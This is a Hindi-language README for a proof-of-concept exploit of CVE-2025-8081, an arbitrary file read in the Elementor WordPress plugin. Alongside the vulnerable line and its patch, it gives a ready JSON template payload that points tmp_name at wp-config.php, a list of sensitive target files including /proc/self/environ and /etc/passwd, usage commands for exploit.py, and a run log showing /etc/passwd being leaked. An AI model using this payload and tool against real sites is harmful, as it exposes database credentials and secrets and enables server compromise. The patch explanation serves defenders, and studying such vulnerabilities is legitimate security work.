
CVE-2025-8081 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Elementor WordPress प्लगइन में एक मनमाना फ़ाइल पढ़ने की कमजोरी, जो प्रमाणित एडमिन को wp-config.php जैसी संवेदनशील फ़ाइलें पढ़ने की अनुमति देती है।
Elementor WordPress प्लगइन में एक गंभीर मनमाना फ़ाइल पढ़ने की भेद्यता जो प्रमाणित व्यवस्थापकों को वेब सर्वर द्वारा सुलभ किसी भी फ़ाइल को पढ़ने की अनुमति देती है, जिसमें डेटाबेस क्रेडेंशियल वाली संवेदनशील कॉन्फ़िगरेशन फ़ाइलें शामिल हैं।
| गुण | मान |
|---|
| CVE ID | CVE-2025-8081 |
| प्रकार | मनमाना फ़ाइल पढ़ना (CWE-22: पाथ ट्रैवर्सल) |
| CVSS स्कोर | 4.9 (मध्यम) - वास्तविक प्रभाव: गंभीर |
| CVSS वेक्टर | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| प्रभावित संस्करण | Elementor ≤ 3.30.2 |
| स्थिर संस्करण | Elementor ≥ 3.30.3 |
| रिलीज़ दिनांक | 22 जुलाई, 2025 |
| प्रकटीकरण दिनांक | 15 अक्टूबर, 2025 |
wp-config.php तक पहुंच से डेटाबेस क्रेडेंशियल और सुरक्षा कुंजियाँ उजागर होती हैंभेद्यता एक फ़ाइल में एक पंक्ति पर मौजूद है:
elementor/includes/template-library/classes/class-import-images.php
पंक्ति 115 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
समस्या: tmp_name पैरामीटर को is_uploaded_file() के साथ मान्य नहीं किया गया है, जिससे हमलावर मनमाना फ़ाइल पथ निर्दिष्ट कर सकता है।
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
समाधान: पैच is_uploaded_file() सत्यापन जोड़ता है ताकि यह सुनिश्चित किया जा सके कि tmp_name एक वैध HTTP POST अपलोड की गई फ़ाइल को संदर्भित करता है।
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json के रूप में सहेजें)leaked_config.txt ढूंढें और डाउनलोड करेंपरिणाम: डेटाबेस क्रेडेंशियल के साथ wp-config.php सामग्री उजागर!
| फ़ाइल | विवरण | प्रभाव |
|---|---|---|
/var/www/html/wp-config.php | WordPress कॉन्फ़िगरेशन | 🔴 गंभीर - DB क्रेडेंशियल |
/proc/self/environ | पर्यावरण चर | 🔴 गंभीर - API कुंजियाँ, रहस्य |
| फ़ाइल | विवरण | प्रभाव |
|---|---|---|
/etc/passwd | सिस्टम उपयोगकर्ता | 🟠 उच्च - उपयोगकर्ता गणना |
/var/www/html/.htaccess | वेब सर्वर कॉन्फ़िगरेशन | 🟠 उच्च - कॉन्फ़िगरेशन प्रकटीकरण |
/var/log/apache2/access.log | Apache लॉग | 🟡 मध्यम - सूचना प्रकटीकरण |
python3 exploit.py -t https://target.com -u admin -p password123
आवश्यक तर्क:
-t, --target URL लक्ष्य WordPress URL (जैसे, https://target.com)
-u, --user USERNAME WordPress व्यवस्थापक उपयोगकर्ता नाम
-p, --password PASS WordPress व्यवस्थापक पासवर्ड
वैकल्पिक तर्क:
-f, --file PATH पढ़ने के लिए फ़ाइल (डिफ़ॉल्ट: /var/www/html/wp-config.php)
-o, --output FILE आउटपुट फ़ाइल नाम (डिफ़ॉल्ट: स्वतः-जनित)
--insecure, -k SSL प्रमाणपत्र सत्यापन अक्षम करें
-v, --verbose डिबगिंग के लिए विस्तृत आउटपुट सक्षम करें
-h, --help सहायता संदेश दिखाएं
# बुनियादी शोषण (डिफ़ॉल्ट पेलोड के साथ wp-config.php पढ़ता है)
python3 exploit.py -t http://target.com -u admin -p password123
# कस्टम लक्ष्य फ़ाइल
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# HTTPS और स्व-हस्ताक्षरित प्रमाणपत्र के साथ
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# कस्टम आउटपुट के साथ विस्तृत मोड
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# OrbStack/Docker से होस्ट मशीन को लक्षित करना
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
केवल शैक्षिक और अधिकृत परीक्षण के लिए
यह उपकरण केवल सुरक्षा अनुसंधान और पैठ परीक्षण उद्देश्यों के लिए प्रदान किया गया है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए इस उपकरण का उपयोग अवैध है।
अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करे।
इस उपकरण का उपयोग करके, आप इसे कानूनी और नैतिक रूप से उपयोग करने के लिए सहमत होते हैं।
अंतिम अद्यतन: 17 अक्टूबर, 2025